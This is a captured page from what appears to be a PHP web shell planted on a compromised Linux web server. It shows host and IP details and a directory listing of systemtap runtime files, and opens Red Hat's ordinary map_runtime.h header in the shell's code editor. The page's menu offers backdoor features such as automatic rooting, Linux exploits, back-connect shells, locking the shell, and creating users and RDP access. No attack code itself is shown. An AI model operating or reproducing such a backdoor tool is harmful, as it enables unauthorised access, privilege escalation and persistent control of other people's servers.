Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.152
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
runtime /
linux /
[ HOME SHELL ]
Name
Size
Permission
Action
?;
uprobes
[ DIR ]
drwxr-xr-x
?;
uprobes2
[ DIR ]
drwxr-xr-x
access_process_vm.h
3.59
KB
-rw-r--r--
addr-map.c
8.03
KB
-rw-r--r--
alloc.c
15.02
KB
-rw-r--r--
arith.c
16.41
KB
-rw-r--r--
autoconf-alloc-percpu-align.c
118
B
-rw-r--r--
autoconf-asm-syscall.c
26
B
-rw-r--r--
autoconf-bio-bi_opf.c
824
B
-rw-r--r--
autoconf-blk-types.c
359
B
-rw-r--r--
autoconf-compat_sigaction.c
448
B
-rw-r--r--
autoconf-constant-tsc.c
63
B
-rw-r--r--
autoconf-cpu-clock.c
1.25
KB
-rw-r--r--
autoconf-dpath-path.c
121
B
-rw-r--r--
autoconf-from_kuid_munged.c
191
B
-rw-r--r--
autoconf-fs_supers-hlist.c
354
B
-rw-r--r--
autoconf-generated-compile.c
56
B
-rw-r--r--
autoconf-get_user_pages_remote...
1.51
KB
-rw-r--r--
autoconf-get_user_pages_remote...
1.3
KB
-rw-r--r--
autoconf-grsecurity.c
219
B
-rw-r--r--
autoconf-hlist-4args.c
296
B
-rw-r--r--
autoconf-hrtimer-getset-expire...
126
B
-rw-r--r--
autoconf-hrtimer-rel.c
87
B
-rw-r--r--
autoconf-hw_breakpoint_context...
315
B
-rw-r--r--
autoconf-inode-private.c
173
B
-rw-r--r--
autoconf-inode-rwsem.c
172
B
-rw-r--r--
autoconf-inode-uretprobes.c
264
B
-rw-r--r--
autoconf-kallsyms-on-each-symb...
192
B
-rw-r--r--
autoconf-kprobe-symbol-name.c
90
B
-rw-r--r--
autoconf-ktime-get-real.c
98
B
-rw-r--r--
autoconf-linux-sched_headers.c
1.64
KB
-rw-r--r--
autoconf-local-clock.c
1.25
KB
-rw-r--r--
autoconf-mm-context-vdso-base....
117
B
-rw-r--r--
autoconf-mm-context-vdso.c
114
B
-rw-r--r--
autoconf-mod_kallsyms.c
51
B
-rw-r--r--
autoconf-module-sect-attrs.c
158
B
-rw-r--r--
autoconf-module_layout.c
52
B
-rw-r--r--
autoconf-nameidata.c
96
B
-rw-r--r--
autoconf-netfilter-313b.c
602
B
-rw-r--r--
autoconf-netfilter-4_1.c
769
B
-rw-r--r--
autoconf-netfilter-4_4.c
1.43
KB
-rw-r--r--
autoconf-netfilter.c
422
B
-rw-r--r--
autoconf-old-inode-uprobes.c
357
B
-rw-r--r--
autoconf-oneachcpu-retry.c
957
B
-rw-r--r--
autoconf-pagefault_disable.c
137
B
-rw-r--r--
autoconf-perf-structpid.c
444
B
-rw-r--r--
autoconf-procfs-owner.c
158
B
-rw-r--r--
autoconf-real-parent.c
427
B
-rw-r--r--
autoconf-regset.c
239
B
-rw-r--r--
autoconf-relay-umode_t.c
730
B
-rw-r--r--
autoconf-relay_buf-per_cpu_ptr...
920
B
-rw-r--r--
autoconf-ring_buffer-flags.c
112
B
-rw-r--r--
autoconf-ring_buffer_lost_even...
296
B
-rw-r--r--
autoconf-ring_buffer_read_prep...
181
B
-rw-r--r--
autoconf-save-stack-trace-no-b...
498
B
-rw-r--r--
autoconf-save-stack-trace.c
501
B
-rw-r--r--
autoconf-smpcall-4args.c
166
B
-rw-r--r--
autoconf-smpcall-5args.c
169
B
-rw-r--r--
autoconf-stacktrace_ops-int-ad...
409
B
-rw-r--r--
autoconf-stacktrace_ops-warnin...
188
B
-rw-r--r--
autoconf-task-uid.c
152
B
-rw-r--r--
autoconf-task_work-struct.c
219
B
-rw-r--r--
autoconf-timerfd.c
232
B
-rw-r--r--
autoconf-trace-printk.c
151
B
-rw-r--r--
autoconf-tracepoint-strings.c
233
B
-rw-r--r--
autoconf-uaccess.c
28
B
-rw-r--r--
autoconf-udelay_simple.c
90
B
-rw-r--r--
autoconf-uidgid.c
50
B
-rw-r--r--
autoconf-unwind-stack-trace.c
326
B
-rw-r--r--
autoconf-uprobe-get-pc.c
374
B
-rw-r--r--
autoconf-utrace-regset.c
273
B
-rw-r--r--
autoconf-utrace-via-tracepoint...
1.67
KB
-rw-r--r--
autoconf-vm-area-pte.c
141
B
-rw-r--r--
autoconf-walk-stack.c
217
B
-rw-r--r--
autoconf-x86-fs.c
90
B
-rw-r--r--
autoconf-x86-gs.c
90
B
-rw-r--r--
autoconf-x86-uniregs.c
115
B
-rw-r--r--
autoconf-x86-xfs.c
91
B
-rw-r--r--
common_session_state.h
2.93
KB
-rw-r--r--
compat_net.h
858
B
-rw-r--r--
compat_structs.h
4.31
KB
-rw-r--r--
compat_unistd.h
60.25
KB
-rw-r--r--
copy.c
2.58
KB
-rw-r--r--
debug.h
2.5
KB
-rw-r--r--
io.c
4.6
KB
-rw-r--r--
itrace.c
14.53
KB
-rw-r--r--
kprobes.c
22.57
KB
-rw-r--r--
loc2c-runtime.h
23.87
KB
-rw-r--r--
map_list.h
1.19
KB
-rw-r--r--
map_runtime.h
4.12
KB
-rw-r--r--
namespaces.h
6.96
KB
-rw-r--r--
netfilter.c
1.38
KB
-rw-r--r--
perf.c
7.42
KB
-rw-r--r--
perf.h
1.22
KB
-rw-r--r--
perf_event_counter_context.c
336
B
-rw-r--r--
perf_probe_handler_nmi.c
278
B
-rw-r--r--
perf_read.h
959
B
-rw-r--r--
print.c
5.85
KB
-rw-r--r--
probe_lock.h
1.69
KB
-rw-r--r--
regs-ia64.c
3.65
KB
-rw-r--r--
regs.c
12.63
KB
-rw-r--r--
runtime.h
10.55
KB
-rw-r--r--
runtime_context.h
4.75
KB
-rw-r--r--
runtime_defines.h
1.02
KB
-rw-r--r--
stat_runtime.h
1.7
KB
-rw-r--r--
stp_tracepoint.c
11.07
KB
-rw-r--r--
stp_tracepoint.h
2.1
KB
-rw-r--r--
syscalls-common.h
976
B
-rw-r--r--
task_finder.c
52.17
KB
-rw-r--r--
task_finder2.c
53.5
KB
-rw-r--r--
task_finder_map.c
5.07
KB
-rw-r--r--
task_finder_stubs.c
2.38
KB
-rw-r--r--
task_work_compatibility.h
1.25
KB
-rw-r--r--
timer.c
2.15
KB
-rw-r--r--
timer.h
1.35
KB
-rw-r--r--
timer_compatibility.h
2.26
KB
-rw-r--r--
uprobes-common.c
15.21
KB
-rw-r--r--
uprobes-common.h
1.61
KB
-rw-r--r--
uprobes-inc.h
484
B
-rw-r--r--
uprobes-inode.c
22.79
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : map_runtime.h
/* -*- linux-c -*- * Map Runtime Functions * Copyright (C) 2012-2016 Red Hat Inc. * * This file is part of systemtap, and is free software. You can * redistribute it and/or modify it under the terms of the GNU General * Public License (GPL); either version 2, or (at your option) any * later version. */ #ifndef _LINUX_MAP_RUNTIME_H_ #define _LINUX_MAP_RUNTIME_H_ /* get/put_cpu wrappers. Unnecessary if caller is already atomic. */ #define MAP_GET_CPU() smp_processor_id() #define MAP_PUT_CPU() do {} while (0) struct pmap { int bit_shift; /* scale factor for integer arithmetic */ int stat_ops; /* related statistical operators */ MAP agg; /* aggregation map */ MAP map[]; /* per-cpu maps */ }; static inline MAP _stp_pmap_get_agg(PMAP p) { return p->agg; } static inline void _stp_pmap_set_agg(PMAP p, MAP agg) { p->agg = agg; } static inline MAP _stp_pmap_get_map(PMAP p, unsigned cpu) { if (cpu >= NR_CPUS) cpu = 0; return p->map[cpu]; } static inline void _stp_pmap_set_map(PMAP p, MAP m, unsigned cpu) { if (cpu >= NR_CPUS) cpu = 0; p->map[cpu] = m; } /** Deletes a map. * Deletes a map, freeing all memory in all elements. * Normally done only when the module exits. * @param map */ static void _stp_map_del(MAP map) { if (map == NULL) return; if (map->node_mem) _stp_vfree(map->node_mem); _stp_vfree(map); } static void _stp_pmap_del(PMAP pmap) { int i; if (pmap == NULL) return; for_each_possible_cpu(i) { MAP m = _stp_pmap_get_map (pmap, i); _stp_map_del(m); } /* free agg map elements */ _stp_map_del(_stp_pmap_get_agg(pmap)); _stp_vfree(pmap); } static void* _stp_map_vzalloc(size_t size, int cpu) { /* Called from module_init, so user context, may sleep alloc. */ if (cpu < 0) return _stp_vzalloc(size); return _stp_vzalloc_node(size, cpu_to_node(cpu)); } static int _stp_map_init(MAP m, unsigned max_entries, unsigned hash_table_mask, int wrap, int node_size, int cpu) { unsigned i; INIT_MLIST_HEAD(&m->pool); INIT_MLIST_HEAD(&m->head); m->hash_table_mask = hash_table_mask; for (i = 0; i <= hash_table_mask; i++) INIT_MHLIST_HEAD(&m->hashes[i]); m->maxnum = max_entries; m->wrap = wrap; /* Since we're using _stp_map_vzalloc(), we can afford to * allocate the nodes in one big chunk. */ m->node_mem = _stp_map_vzalloc(node_size * max_entries, cpu); if (m->node_mem == NULL) return -1; for (i = 0; i < max_entries; i++) { struct map_node *node = m->node_mem + i * node_size; mlist_add(&node->lnode, &m->pool); INIT_MHLIST_NODE(&node->hnode); } return 0; } /** Create a new map. * Maps must be created at module initialization time. * @param max_entries The maximum number of entries allowed. Currently that * number will be preallocated.If more entries are required, the oldest ones * will be deleted. This makes it effectively a circular buffer. * @return A MAP on success or NULL on failure. * @ingroup map_create */ static MAP _stp_map_new(unsigned max_entries, int wrap, int node_size, int cpu) { MAP m; unsigned hash_table_mask = HASHTABLESIZE(max_entries)-1; /* usable as bitmask */ m = _stp_map_vzalloc(sizeof(struct map_root) + sizeof(struct mhlist_head) * (hash_table_mask+1), cpu); if (m == NULL) return NULL; if (_stp_map_init(m, max_entries, hash_table_mask, wrap, node_size, cpu)) { _stp_map_del(m); return NULL; } return m; } static PMAP _stp_pmap_new(unsigned max_entries, int wrap, int node_size) { int i; MAP m; PMAP pmap = _stp_map_vzalloc(sizeof(struct pmap) + NR_CPUS * sizeof(MAP), -1); if (pmap == NULL) return NULL; /* Allocate the per-cpu maps. */ for_each_possible_cpu(i) { m = _stp_map_new(max_entries, wrap, node_size, i); if (m == NULL) goto err1; _stp_pmap_set_map(pmap, m, i); } /* Allocate the aggregate map. */ m = _stp_map_new(max_entries, wrap, node_size, -1); if (m == NULL) goto err1; _stp_pmap_set_agg(pmap, m); return pmap; err1: for_each_possible_cpu(i) { m = _stp_pmap_get_map (pmap, i); _stp_map_del(m); } _stp_vfree(pmap); return NULL; } #endif /* _LINUX_MAP_RUNTIME_H_ */
Close